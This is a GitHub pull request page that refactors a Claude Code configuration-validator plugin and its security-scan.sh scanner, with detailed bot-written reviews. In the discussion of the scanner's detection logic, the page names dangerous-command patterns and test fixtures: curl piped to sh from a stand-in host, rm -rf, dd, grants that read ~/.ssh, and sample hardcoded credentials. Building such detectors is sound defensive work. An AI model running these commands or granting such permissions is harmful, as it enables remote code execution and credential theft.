Skip to content

feat(claude-config-validator)!: fence findings to the changeset and split the review skill - #201

Open
withinfocus wants to merge 19 commits into
mainfrom
config-validator-guardrails
Open

feat(claude-config-validator)!: fence findings to the changeset and split the review skill#201
withinfocus wants to merge 19 commits into
mainfrom
config-validator-guardrails

Conversation

@withinfocus

@withinfocus withinfocus commented Aug 19, 2026

Copy link
Copy Markdown
Contributor

🎟️ Tracking

Stacked on #199, which must merge first. This branch is based on
fix-config-validator-skill-grant-coherence rather than main, so the diff shown here is only
this layer.

No Jira ticket, matching #197 and #198.

📔 Objective

/validate-ai and /validate-ai-local produce more findings the more code a change touches,
rather than the more it changes. Three causes, each verified against the branch:

  1. There is no fence limiting findings to what a change introduced. git grep -inE 'pre-existing|not introduced by this change|introduced or worsened' over the plugin returns nothing, while the sibling bitwarden-code-review has had one at performing-multi-agent-code-review/SKILL.md:180 all along. Without it a review re-audits whole files just because they appear in a diff, so finding supply tracks the size of the files touched rather than the size of the change.
  2. IMPORTANT was both unbounded and blocking. priority-framework.md classified "Vague or unclear instructions", "Missing examples for complex concepts", and "Duplicated documentation" as IMPORTANT. The scope reference mapped IMPORTANT to Error. fix(claude-config-validator): match the skill's documented behavior to its tool grants #199 then made any IMPORTANT finding set Issues found. Put together, a prose-taste observation failed the run.
  3. The same rules were restated across 27 files, so every restatement was a coherence finding waiting to happen and fixing one created the next.

Two structural problems compounded it. The same SKILL.md got reviewed twice, since step 4b
sends it to plugin-dev:skill-reviewer and step 4c sent it here as well, with no dedup between
them. And the seven examples/example-*-review.md files, all dating to the plugin's first
commit, taught an output format the report contract explicitly overrides, in vocabulary it does
not use ("BLOCK", "Cannot approve").

Guards

  • Findings are limited to what a changeset introduced or worsened. A changed file is not a changed line, and a "worsened" claim has to name the edit responsible. This is canonical in SKILL.md because every invocation path reads it; the scope reference carries the pointer and the subagent-prompt instruction.
  • A filter runs before reporting. It drops candidates that are pre-existing, unspecific, unverified, already covered by a checker that actually ran, or whose remediation is "no change", which is the leave as-is in this PR class. CRITICAL and security findings are exempt from all but the fence and the verification test. There is no confidence score, because with no separate verification pass behind it a self-assigned number adds ceremony without adding a check.
  • A run fails on a CRITICAL finding, or on any finding that widens a permission, tool grant, or hook capability, at whatever severity that one carries. IMPORTANT narrows to functional defects and security regressions, and readability moves down to SUGGESTED. Security gets its own clause rather than a severity threshold, because priority-framework.md rates some real regressions IMPORTANT and a severity-only rule would pass every one of them.
  • Both commands state that the report is the deliverable and that re-validation pins the original baseline. Neither could ever edit the files under review, so the round-on-round loop came from how they were driven and not from the pipeline.
  • One canonical statement per rule, with (intentionally duplicated — edit them together) marking the deliberate repetitions. The CWE-1427 boundary is one of those, and it now appears in all four targeted skills as well, since each can be invoked directly and cannot rely on the router being in context.
  • SKILL.md review leaves this plugin entirely. plugin-dev:skill-reviewer already covers frontmatter, trigger quality, word count, style, progressive disclosure, and missing references, and both commands route every changed skill to it. Agent frontmatter review stays, skipped only where plugin-dev:plugin-validator actually ran, since a bare .claude/agents/*.md or an uninstalled plugin-dev would otherwise leave frontmatter unchecked.

Structure

reviewing-claude-config becomes a router and keeps its name, so the four cross-plugin callers
are untouched. Four targeted skills replace the checklist tree.

Skill Covers
reviewing-agent-definitions Tool access first, then frontmatter, triggers, system prompt, model
reviewing-command-definitions Slash commands and prompts
reviewing-runtime-configuration Settings and hooks, which are one trust surface since hooks are usually declared inside settings.json
reviewing-project-guidance CLAUDE.md

A fallback row catches any in-scope path with no targeted skill, so skill support files under
reference/, examples/, and scripts/ get read for instruction content rather than dropped.

The ✅/❌ blocks stay inline in each skill. They calibrate judgment rather than demonstrate an
output format, so they work at the point of the check.

Thirteen files are deleted: six checklists and seven review examples. Net 2,100 fewer lines.

Breaking

Version 1.2.2 to 2.0.0.

  • The checklists/ and examples/ directories are gone. Anything referencing those paths has to point at the targeted skills instead.
  • reviewing-claude-config no longer reviews SKILL.md.

Known gap

bitwarden-code-review still describes this skill as reviewing SKILL.md and
"progressive-disclosure structure", at bitwarden-code-reviewer/AGENT.md:83 and
performing-multi-agent-code-review/SKILL.md:173. Fixing it edits a second plugin and pulls in
that plugin's own version bump, so it wants a separate PR. The failure mode is a stated omission
rather than a false pass, since the skill reports that it did not cover the file.

@withinfocus withinfocus added the ai-review Request a Claude code review label Aug 19, 2026
@github-actions

github-actions Bot commented Aug 19, 2026

Copy link
Copy Markdown

🤖 Bitwarden Claude Code Review

Overall Assessment: REQUEST CHANGES

Round seventeen, reviewed at head a6ea511 against base df3cba5. That commit closes both threads left open at 2c4d097: security-patterns.md:131-135 and security-scan.sh:161-178 now detect the colon form and the autoApprovedTools array, and reviewing-agent-definitions/SKILL.md:119 scopes the frontmatter CRITICAL to its pass rather than the skill. Two findings remain, both in the security detectors this changeset rewrote.

Code Review Details
  • ⚠️ : The settings.local.json check reports ✅ OK when git ls-files cannot run, and resolves against the process working directory rather than CLAUDE_DIR, so a scan of another repository's .claude — the invocation the new README section documents — answers for the wrong tree and exits 0 alongside a same-changeset promise that skipped checks are never reported as passed
    • skills/reviewing-claude-config/scripts/security-scan.sh:41-53, verdict at :302
  • ♻️ : The rewritten detect-broad-permissions.sh tests only a bare Bash rule and only Read(//**) / Write(//**), while the manual patterns eleven lines above it and the shipped script both cover five bare tools and Edit(//**); a settings file granting bare Write or Edit(//**) exits the documented detector at OK: Permissions appropriately scoped
    • skills/reviewing-claude-config/reference/security-patterns.md:158-166, :193

Verified against the working tree rather than the diff:

  • Traced every branch of security-scan.sh for the new colon-form check. It is a line-oriented grep on purpose and does not fire on Bash(git status:*), WebFetch(domain:x), or a "matcher": "Bash" hook entry, since the pattern requires the colon immediately after the tool name inside the opening quote.
  • The four jq-gated detectors, the parse gate, the .config/ anchor, and the escaped pipe patterns agree between security-scan.sh and the documented twins at security-patterns.md:168-215 and :279-297. Six of six skip branches increment their counter; PERM_SKIPPED and DANGEROUS_SKIPPED suppress both ✅ OK lines.
  • The three secret filters are anchored to the value rather than the file path, and the plugin's own inline teaching examples at reviewing-runtime-configuration/SKILL.md:82-85 and reviewing-project-guidance/SKILL.md:48 are excluded by the EXAMPLE prefixes without excluding a real key in the same file.
  • Every relative reference in the plugin resolves on disk. No path under checklists/, examples/, or skills/reviewing-claude-config/README.md survives anywhere in the repository outside the changelog's Removed section.
  • Cross-file severity is coherent: hook interpolation, command $ARGUMENTS interpolation, defaultMode, command frontmatter, and broken @path imports each carry the same rating in the owning skill and in priority-framework.md.
  • Version 2.0.0 is consistent across marketplace.json, plugin.json, the root README catalog, and the changelog; the breaking changes are recorded under Changed and Removed. The plugin ships no agents, so no AGENT.md bump applies.
  • All five skills carry valid frontmatter; the router holds Read, Grep, Glob, Skill and the four targeted skills hold Read, Grep, Glob. Neither command file contains a !`cmd` block, so the Pass 7 rule the changeset adds is not self-violated.

Comment thread plugins/claude-config-validator/skills/reviewing-claude-config/README.md Outdated
Comment thread plugins/claude-config-validator/README.md Outdated
Comment thread plugins/claude-config-validator/skills/reviewing-agent-definitions/SKILL.md Outdated
@github-actions

github-actions Bot commented Aug 19, 2026

Copy link
Copy Markdown

Claude Code validation

Result: Issues found

Validated PR #201 (config-validator-guardrails @ a6ea511) against main: the claude-config-validator plugin's 1.2.2 → 2.0.0 restructure, which splits reviewing-claude-config into a router plus four targeted skills and deletes 14 support files. One plugin validation, five skill reviews, and the configuration and security pass all ran. .claude-pr/ exists but no changed path sits at a protected repository-root location, so every file was read from the working tree as normal.

The headline result is that the risky part of this PR is clean. Deleting 14 files across a plugin that cross-references itself heavily is where this change could have broken, and it did not: five independent passes resolved every relative path, @-reference, and markdown link in all 17 surviving files and found zero dangling references. Version consistency, frontmatter, and routing completeness all check out, and no file attempts to direct this review (no CWE-1427 finding).

The findings below are concentrated in security-scan.sh. Three of them I reproduced by running the script, and each contradicts a fix this PR's own changelog claims to have made.

Critical

None.

Major

Reproduced defects in security-scan.sh — the branch's last five commits were fixes to this file, and these three survive them. I ran the script against purpose-built fixtures for each; the transcripts are quoted.

  • plugins/claude-config-validator/skills/reviewing-claude-config/scripts/security-scan.sh:87a real credential is silently dropped when it shares a line with a placeholder. The placeholder exclusion grep -vE '[:=][[:space:]]*["'\''](sk-EXAMPLE|…|EXAMPLE|…)' removes the whole matched line, not the matched value. Reproduced with { "apiKey": "EXAMPLE", "password": "hunter2realpassword" }✅ OK: No hardcoded secrets detected, and the run exits 0 with ✅ All security checks passed. This is a false negative in the check the plugin exists to provide. Fix: drop matched values per-match (grep -o, or filter after extracting the value) rather than excluding the line. Note this weakens rather than delivers the changelog claim at CHANGELOG.md:31 that exclusions are now "anchored to the value rather than the file path" — they are anchored to the value, but still discard the line.

  • plugins/claude-config-validator/skills/reviewing-claude-config/scripts/security-scan.sh:121a hardening deny rule is reported as a CRITICAL defect. The check greps the whole settings file for "(Read|Write|Edit)\(//\*\*\)", so {"permissions":{"deny":["Read(//**)","Write(//**)"]}} — a lockdown — is reported as ❌ CRITICAL: Filesystem-wide permission rule and fails the run. This directly contradicts CHANGELOG.md:31, which claims the script now reads permissions.allow "so a hardening deny is not reported as a defect". Lines 146, 190, and 258 already do this correctly with jq; line 121 was missed. Fix: move the check under the jq branch reading .permissions.allow, and increment CHECKS_SKIPPED when jq is absent.

  • plugins/claude-config-validator/skills/reviewing-claude-config/scripts/security-scan.sh:41check 1 reports a pass when it could not run. git ls-files 2>/dev/null | grep -q returns non-zero when the working directory is not a git repository or git is missing, and the else branch prints ✅ OK: settings.local.json not in git. CHECKS_SKIPPED is never incremented, so the skipped-check machinery added at lines 302–318 never fires. Reproduced in a non-git directory: exit 0, ✅ All security checks passed, - No committed local settings. This contradicts CHANGELOG.md:32 ("Checks that cannot run are counted and reported as skipped") — the sweep reached checks 2–4 but not check 1. Secondary: git ls-files runs against the current directory's repository, not ${CLAUDE_DIR}, so a directory argument outside the current repo scans the wrong tree. Fix: gate on git rev-parse --git-dir and on ${CLAUDE_DIR} being inside it; otherwise CHECKS_SKIPPED=$((CHECKS_SKIPPED + 1)).

Defects in the new skills

  • plugins/claude-config-validator/skills/reviewing-command-definitions/SKILL.md:186a false CRITICAL that flips the verdict of a whole run. Pass 6 rates a reference to a nonexistent skill CRITICAL and says to "Verify with Glob", but Glob searches the working tree and cannot see a plugin installed under the user's Claude directory. A .claude/commands/foo.md referencing plugin-dev:agent-development in any repo that does not vendor plugin-dev will be reported as broken. Nothing downstream catches it: the router's filter exempts CRITICAL findings (reviewing-claude-config/SKILL.md:156-159), and one CRITICAL sets Issues found, failing a PR check. Fix: add an escape hatch — where Glob cannot resolve the owning plugin's directory, record the check as skipped; an unresolvable name is not evidence of a missing skill.

  • plugins/claude-config-validator/skills/reviewing-runtime-configuration/SKILL.md:236the command-safety checklist errs in the permissive direction on this skill's central question. The bullet accepts hook input reaching a command "as a shell variable used directly", unqualified, while line 258 of the same file says "an unquoted interpolation is CRITICAL anywhere" and reference/priority-framework.md:196-197 rates only quoted input as not a finding. A reviewer working the checklist per-hook would pass grep $file_path. Fix: change to "…or as a quoted shell variable used directly, or validated against an allowlist."

  • plugins/claude-config-validator/skills/reviewing-runtime-configuration/SKILL.md:216 — instructs verifying hook event names against the online hooks documentation, which needs a fetch tool the declared Read, Grep, Glob grant does not include, with no skip fallback. The file is otherwise disciplined about exactly this (lines 33–35, 227–229). Fix: add the skip clause matching lines 228–229.

  • plugins/claude-config-validator/skills/reviewing-claude-config/SKILL.md:93 (framing at 108–111) — hook payload scripts get the wrong review lens. The catch-all row sends unmatched material to be read in place, and lines 108–111 scope that reading to skill support files under a prose/CWE-1427 rationale. Hook payload scripts land in the same bucket, but their genre is code the harness executes without a prompt. This repo has five live instances (plugins/bitwarden-ai-telemetry/hooks/emit*.py). reviewing-runtime-configuration owns the right lens but checks script paths, never script contents. A changeset touching hooks.json and emit.py together gets the former routed correctly and the latter read as prose. Fix: add a routing row for non-JSON hook payloads → reviewing-runtime-configuration, and narrow the fallback's framing.

  • plugins/claude-config-validator/skills/reviewing-claude-config/SKILL.md:92 — the .claude-plugin/*.json row delegates unconditionally to plugin-dev:plugin-validator with no "did it actually run" escape hatch, while Step 4 (lines 143–145) names that exact plugin warning "Nominal ownership is not coverage". The parallel SKILL.md exclusion does carry the hatch (lines 129–131). This is live, not hypothetical: plugin-dev is not in this repo's marketplace manifest. Fix: mirror the lines 129–131 wording onto the manifest row.

  • All four new skills (reviewing-agent-definitions:17-21, reviewing-command-definitions:18-22, reviewing-project-guidance:20-23, reviewing-runtime-configuration:17-21) — the direct-invocation fallback tells the reader to announce that the router's Step 4 filter did not run, rather than to apply it. Step 4 is pure judgment needing no tool these skills lack, and they are already reading the router file for scope and output format. Fix: instruct applying the filter; edit all four together per the files' own convention.

  • plugins/claude-config-validator/CHANGELOG.md:39-41an acknowledged cross-plugin coverage regression. Verified: plugins/bitwarden-code-review/agents/bitwarden-code-reviewer/AGENT.md:83 and plugins/bitwarden-code-review/skills/performing-multi-agent-code-review/SKILL.md:173 both route changed SKILL.md files to reviewing-claude-config, which from 2.0.0 declines them, and neither invokes plugin-dev:skill-reviewer. Skill-only changesets through that pipeline lose skill review entirely. The changelog states this honestly and tracks it as a follow-up — flagged so the decision to ship the major bump with it open is a deliberate one.

Minor

  • skills/reviewing-claude-config/SKILL.md:87 — the agents routing row lacks the README.md exclusion the commands row has at line 88, and reviewing-agent-definitions:138 treats missing frontmatter as blocking, so an agents/<name>/README.md would draw a false CRITICAL. The nested agents/<name>/AGENT.md layout already used by bitwarden-code-review is what invites such a sibling.
  • skills/reviewing-claude-config/reference/security-patterns.md:65 and :101 — the documented detectors use (apiKey|…)\s*[:=]\s*['\"], which cannot match "apiKey": "…" because the key's closing quote sits between name and colon. JSON is the primary target, and SKILL.md:75-78 tells reviewers to reuse these as Grep queries. The shipped script gets it right at line 84. Fix: add ["']? before \s*[:=] in both.
  • scripts/security-scan.sh:65 and :74grep -v "security-scan.sh" | grep -v "security-patterns.md" filter on the whole grep output line, which includes file content, so a real secret in a file that merely mentions those names is suppressed. Pre-existing, but on the two lines this PR rewrote to fix this class of bug. Fix: exclude by path with --exclude.
  • scripts/security-scan.sh:331 — the remediation pointer is resolved from CLAUDE_DIR, so under the documented invocation it prints a path inside the scanned repo that does not exist. Resolve from SCRIPT_DIR. (Pre-existing.)
  • skills/reviewing-claude-config/reference/priority-framework.md:211 — new line; disableBypassPermissionsMode is unprefixed while neighbours correctly use permissions.defaultMode. Write it permissions.disableBypassPermissionsMode.
  • skills/reviewing-command-definitions/SKILL.md:219 — "hook input arrives as a shell variable" is imprecise; Claude Code delivers hook input as JSON on stdin. The sibling states it correctly at reviewing-runtime-configuration/SKILL.md:236.
  • skills/reviewing-agent-definitions/SKILL.md:14 — the scope fence keeps the headline but drops the sub-rule that does the work ("a changed file is not a changed line"), and never tells a directly-invoked reader to open the router. Ten words would close it.
  • skills/reviewing-project-guidance/SKILL.md:68-75 — the one substantive check lost in the split: the deleted checklists/claude-md.md had "Logical flow from general to specific" as an explicit item; it survives only obliquely in the red flags. Otherwise the new skill is a verified superset of the deleted checklist.
  • No worked example survives for the settings, hooks, or CLAUDE.md domains. examples/ is deleted, and both examples retained in the router (SKILL.md:194-221) are agent-definition findings. The highest-severity domain in the plugin now has zero end-to-end output exemplars. The router's own format guidance is adequate; this is a deliberate-or-not call worth making explicitly.
  • commands/validate-ai-local/README.md:80 and commands/validate-ai/README.md:125 — both describe the grant as "read-only inspection only", omitting Task and Skill, which are in both allowed-tools lists. The plugin's own reference/claude-code-requirements.md:144-146 rates Task HIGH RISK, "at or above Bash", because it escapes the grant being reviewed. Pre-existing wording; the validate-ai-local paragraph was edited adjacently (the ai-validation/ai-validation/* glob fix), and commands/validate-ai/README.md is not in this changeset at all.
  • commands/validate-ai-local/validate-ai-local.md — no terminal "Final step (required)" gate equivalent to validate-ai.md:196-200; the completion-marker requirement appears once, at line 171.
  • CHANGELOG.md:39### Migration is not a Keep a Changelog category (Added/Changed/Deprecated/Removed/Fixed/Security).
  • skills/reviewing-claude-config/reference/claude-code-requirements.md:205-211 — recommends a skill layout including examples/, the directory this PR deletes from its own skill.
  • Descriptions on all four new skills run 591–644 characters, above the ~500 guideline but well under Claude Code's 1,024 limit. The length buys real disambiguation between four sibling reviewers; trim all four or none.

What passed

  • No broken references anywhere despite 14 deletions — every relative path, link, and @-reference in all 17 surviving files resolves. The only surviving checklists//examples/ mentions are historical CHANGELOG entries describing the removal.
  • Version consistency: 2.0.0 agrees across plugin.json:3, .claude-plugin/marketplace.json:26, the root README.md:23 catalog table, and the CHANGELOG.md:8 entry. The MAJOR bump is justified by the documented breaking changes.
  • Frontmatter: all five SKILL.md files have valid name (each matching its directory) and description; both commands have description, argument-hint, and allowed-tools.
  • No prompt injection (CWE-1427) in any reviewed file. Every imperative passage is a reviewer skill instructing its own future invocations about material it reviews — the legitimate genre — not text attempting to steer this review.
  • No hardcoded credentials. The single scanner hit, reference/security-patterns.md:350 ("apiKey": "sk-1234567890abcdef"), is the "Before:" block of a documented remediation example.
  • settings.local.json not present in the changeset; no settings or hooks files changed.
  • Permission rules are correct and non-obviously so: Edit(//tmp/validation-summary.md) is the right form because Claude Code consults only Edit(path) and Read(path) rules for file writes, and // is the filesystem-absolute prefix.
  • $ARGUMENTS is consumed as data for the model to parse, never interpolated into a shell string in either command.
  • Routing is complete: every bucket in validate-ai-scope.md reaches a destination, the four sibling skill names match their targets' name: frontmatter exactly, and exclusions name their owners.
  • security-scan.sh passes bash -n, has the exec bit set, and shellcheck is clean at warning level.
  • Coverage against the deleted checklists/settings.md and checklists/hooks.md was verified line by line: nothing substantive was lost, and the merge corrected two permission forms (autoApprovedTools, Bash:git status:*) that Claude Code does not actually read.

Checks run

Check Status
Plugin structure Skipped — run as a dedicated workflow step; see the job log and check status
Marketplace Skipped — run as a dedicated workflow step; see the job log and check status
Version bump Skipped — run as a dedicated workflow step; see the job log and check status
Plugin validation (AI) Ran — issues found (1 plugin: claude-config-validator)
Skill review (AI) Ran — issues found (5 skills reviewed)
Configuration & security Ran — issues found (2 commands, 1 command README, 4 reference files, 1 script)
Formatting / spelling Not attempted here — pnpm run lint is enforced by the separate lint.yml CI workflow

Comment thread plugins/claude-config-validator/skills/reviewing-claude-config/SKILL.md Outdated
Comment thread plugins/claude-config-validator/README.md Outdated
Comment thread plugins/claude-config-validator/skills/reviewing-runtime-configuration/SKILL.md Outdated
Comment thread plugins/claude-config-validator/skills/reviewing-runtime-configuration/SKILL.md Outdated
Comment thread plugins/claude-config-validator/skills/reviewing-claude-config/SKILL.md Outdated
Comment thread plugins/claude-config-validator/skills/reviewing-claude-config/SKILL.md Outdated
Comment thread plugins/claude-config-validator/skills/reviewing-command-definitions/SKILL.md Outdated
@withinfocus
withinfocus marked this pull request as ready for review August 19, 2026 17:19
@withinfocus
withinfocus requested a review from a team as a code owner August 19, 2026 17:19
Base automatically changed from fix-config-validator-skill-grant-coherence to main August 19, 2026 19:02
@withinfocus
withinfocus force-pushed the config-validator-guardrails branch from d7870d9 to dfba041 Compare August 19, 2026 19:02
Comment thread plugins/claude-config-validator/README.md Outdated
…y file path

The placeholder filter added in 47ea728 ran over the whole grep -r record, which
begins with the path, so a real key in any file under an example-named path was
discarded and the scan reported a pass. Verified by execution both ways: an identical
40-char sk- key in example-agent.md and prod-agent.md is now reported for both, and
the plugin's own teaching examples still produce no finding.

Also reconcile hook severity, which contradicted itself four lines apart: a quoted
value consumed directly by the command is not a finding, unquoted is CRITICAL, and a
nested shell is CRITICAL either way. Drop the blanket permission elevation in Security
Context, which overrode the per-field tables and falsified the security floor's own
rationale, and extend agent tool-access review to Skill alongside Task.
Comment thread plugins/claude-config-validator/CHANGELOG.md Outdated
Comment thread plugins/claude-config-validator/skills/reviewing-runtime-configuration/SKILL.md Outdated
…alue

e5d374f narrowed the OpenAI and GitHub token filters from the whole grep record to
the value and did not bring the generic-credential check along, so it still discarded
any match whose file path contained example or xxx. Reproduced the reported fixture:
three identical credentials, one reported. All three are reported now, and the
plugin's own teaching examples still produce no finding.

Also take acceptEdits out of the block whose closing sentence makes every item
CRITICAL, since the framework rates it IMPORTANT and asks why rather than blocking,
and state in the verdict that a widening the changeset justifies is not a finding at
all, which is what makes asking possible. Move the Migration heading below the five
Fixed entries it had captured.
@withinfocus

Copy link
Copy Markdown
Contributor Author

Fixed in 0f56a18, and this is the third time in this PR I have corrected a rule in one place and left its siblings, so the pattern is worth naming rather than just the defect.

Reproduced your fixture exactly before changing anything: three identical credentials, one reported. All three report now, and the plugin's own teaching examples still produce zero findings, so the filter is doing what it was for without doing what it was not.

The filter is anchored to the value, [:=][[:space:]]*["'](sk-EXAMPLE|ghp_EXAMPLE|EXAMPLE|your-key-here|xxx|XXX|<), matching the treatment at lines 64 and 73. You are right that grep -v "examples/" protects nothing here now that the directory is deleted; I left it because the script is run against arbitrary .claude trees, not only this plugin, and those may still have one.

@theMickster theMickster left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Couple minor things to change IMO.

Did the /bitwarden-code-review:performing-multi-agent-code-review get a local execution by chance? Only asking because there are an immense amount of churn and all of these files are tightly interwoven.

Comment thread plugins/claude-config-validator/CHANGELOG.md
Comment thread plugins/claude-config-validator/skills/reviewing-claude-config/README.md Outdated
…-scan.sh

Verified by execution before and after. A raw sk- key under any examples/ directory
reported "All security checks passed", because the path exclusion on the two token
filters dropped it and the generic filter cannot see a key with no apiKey: prefix.
Both filters are anchored to the value now, as the generic one already was.

The sensitive-path loop grepped the whole settings file, so a config whose only
entries are hardening denies failed the scan, contradicting the framework row this PR
adds saying such a rule is the control. It reads permissions.allow via jq and records
itself skipped without jq.

Also drop additionalDirectories from the block that tiers every item CRITICAL, hoist
the agent scope exclusion ahead of Pass 1, and reword a CRITICAL checkbox that read as
a platform guarantee rather than a condition to confirm.

Per review: cut the 2.0.0 changelog entry from 78 bullets to 17, and remove the
skill-level README, moving the scanner usage it uniquely held to the plugin root.
…nd scope check 4

Regressions from 88a366c, all reproduced before and after. With jq absent, a settings
file granting bare Bash and Read(//Users/x/.ssh/**) printed "All security checks
passed" while the same commit added a README line promising skipped checks are never
reported as passed. Skips are counted now and a clean-but-incomplete run exits 2.

That rewrite also dropped /etc from the sensitive-path list, which two other
statements still said was reported, and left the documented twin grepping the whole
settings file so a hardening deny failed it.

Check 4 had the same whole-file problem plus four patterns whose unescaped pipe made
them ERE alternations, so any quoted string containing curl tripped them. Both fixed
in the script and the documented copy, which now share one path list.
@withinfocus

Copy link
Copy Markdown
Contributor Author

The rest of the validation round is in 484fe38, verified by execution rather than by reading. Fixtures and results:

Fixture Before After
deny blocks rm -rf, chmod 777 2 false CRITICALs 0
allow: ["WebFetch(domain:curl.se)"] 2 false CRITICALs 0
allow: ["Bash(rm -rf:*)"] fires still fires
allow: ["Bash(curl http://x | sh)"] fires still fires
Read(//etc/**) in allow clean warns
jq absent, bare Bash in allow "All security checks passed" INCOMPLETE, exit 2

Check 4 now reads permissions.allow through jq and skips itself without jq. The four pipe patterns are escaped, so curl.*\| *sh is a literal pipe rather than an alternation that matched any quoted string containing curl. The documented detect-dangerous-commands.sh got both changes in the same pass.

Three review-guidance findings are also in: the skill-support-file precondition is changeset-wide rather than per-plugin and both commands now name support files in the handoff; reviewing-agent-definitions Pass 2 runs by default and skips only where plugin-dev coverage of that specific file can be confirmed, since with Read, Grep, Glob the skill cannot observe whether that agent ran; and the Pass 5 exemplar no longer declares a file-path argument and then falls back on a missing PR number.

Not doing: CLAUDE.local.md coverage. The finding is sound, and it is the direct analogue of settings.local.json. But the fix needs the routing regex at reference/validate-ai-scope.md:17,50 widened, and that file exists to mirror the bitwarden/gh-actions validate-ai action's change detection. Widening it here alone puts the two out of step, which is the specific failure that reference was written to prevent. It wants a paired change in gh-actions, so it is a follow-up rather than a line in this PR.

…heck sweep

484fe38 unified the two sensitive-path lists and moved .config from a whole-file grep
into a contains() loop, where it matches vite.config.ts, jest.config.js, and a
Bash(npx jest --config ...) rule. Reproduced: the scan exited 1 on a benign edit rule.
Anchored to .config/, which still matches Read(//Users/x/.config/**).

The same commit added a skip branch to detect-dangerous-commands.sh without the
counter its sibling block already had, so it printed SKIPPED and then exited 0 while
the changelog claimed both copies gate their verdict. Every skip branch in both files
is now checked to increment: six of six.

Also annotate the reviewer-facing dangerous-command grep as candidates-only and anchor
dd as dd if=. That is the block two skills tell reviewers to reuse, and it read as
allow-only while being file-wide.
jq exits non-zero on a parse error exactly as it does on no-match, and the jq
conversion in this PR swallowed both. A malformed settings.json holding a bare Bash
grant, an ssh read grant, and Bash(rm -rf:*) produced "All security checks passed"
and exit 0. Before the conversion those three checks were greps that fired
regardless of whether the file parsed, so this is a regression the PR introduced.

Invalid JSON is now CRITICAL, matching what reviewing-runtime-configuration already
rates it, in the script and both documented detectors. Verified that valid files
still report all three grants and that the jq-absent path still exits 2.

Also reconcile two pairs of contradicting instructions: whether the agent frontmatter
pass runs by default, and whether a quoted $ARGUMENTS interpolation is CRITICAL when
the same file demonstrates it is arbitrary command execution.
Comment thread plugins/claude-config-validator/skills/reviewing-claude-config/SKILL.md Outdated
Comment thread plugins/claude-config-validator/skills/reviewing-command-definitions/SKILL.md Outdated
Comment thread plugins/claude-config-validator/skills/reviewing-agent-definitions/SKILL.md Outdated
echo ""

if [ $ISSUES_FOUND -eq 0 ]; then
if [ $ISSUES_FOUND -eq 0 ] && [ $CHECKS_SKIPPED -ne 0 ]; then

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ IMPORTANT: Check 1 still reports a pass when git ls-files cannot run, so this verdict can exit 0 on a check that never happened.

Trace and fix

:41 is git ls-files 2>/dev/null | grep -q "settings.local.json". Under set -eo pipefail that pipeline is non-zero for two different reasons — nothing matched, or git failed because the working directory is not a repository — and both land in the else at :51, which prints ✅ OK: settings.local.json not in git and leaves CHECKS_SKIPPED at its current value. This line then reads CHECKS_SKIPPED -ne 0 as the only signal of incomplete coverage, and README.md adds "Checks that cannot run are reported as skipped rather than passed" in the same changeset. Check 1 is the one check that can silently fail this way, and it is the CRITICAL one.

Two triggers, both reachable through the invocation the README documents (security-scan.sh /path/to/.claude):

  • Run from a directory that is not a git work tree: git ls-files exits 128, output is empty, and the run prints OK and exits 0.
  • Run from repository A while scanning repository B's .claude: git ls-files resolves against the process working directory rather than CLAUDE_DIR, so the answer describes A while the header says "Scanning: <B>/.claude".

Anchoring the check to CLAUDE_DIR fixes both:

if ! git -C "${CLAUDE_DIR}" rev-parse --is-inside-work-tree >/dev/null 2>&1; then
    echo "  ⚠️  SKIPPED: settings.local.json check needs ${CLAUDE_DIR} inside a git work tree"
    echo ""
    CHECKS_SKIPPED=$((CHECKS_SKIPPED + 1))
elif git -C "${CLAUDE_DIR}" ls-files | grep -q "settings.local.json"; then
    ...

The git ls-files | grep | sed at :44 wants the same -C so the listed paths match the directory being scanned.

Comment on lines +193 to +195
elif jq -e '.permissions.allow[]? | select(. == "Bash")' .claude/settings.json >/dev/null 2>&1; then
echo "CRITICAL: Bare Bash rule in allow auto-approves every shell command"
ISSUES=1

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

♻️ DEBT: The rewritten detect-broad-permissions.sh is narrower than the manual patterns directly above it, so it reports a bare Write grant as scoped.

Details and fix

Two gaps, both on lines this changeset rewrote:

  • :193 tests . == "Bash", while scripts/security-scan.sh:146 tests ^(Bash|Write|Edit|WebFetch|WebSearch)$ and the manual grep at :128 covers the same five. "allow": ["Write"] exits this detector at OK: Permissions appropriately scoped.
  • :158 and :163 grep Read(//**) and Write(//**) only, while the manual pattern at :122 and security-scan.sh:121 are "(Read|Write|Edit)\(//\*\*\)". Edit(//**) clears the documented detector and fails the shipped one.

The comment at :180-183 describes the check generically as "a bare rule", so the Bash-only test reads as an oversight rather than a deliberate scope.

Suggested change
elif jq -e '.permissions.allow[]? | select(. == "Bash")' .claude/settings.json >/dev/null 2>&1; then
echo "CRITICAL: Bare Bash rule in allow auto-approves every shell command"
ISSUES=1
elif jq -e '.permissions.allow[]? | select(test("^(Bash|Write|Edit|WebFetch|WebSearch)$"))' .claude/settings.json >/dev/null 2>&1; then
echo "CRITICAL: Bare tool rule in allow matches every use of the tool"
ISSUES=1

:158 and :163 collapse into the same single grep the shipped script uses.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

ai-review Request a Claude code review

Projects

None yet

Development

Successfully merging this pull request may close these issues.

3 participants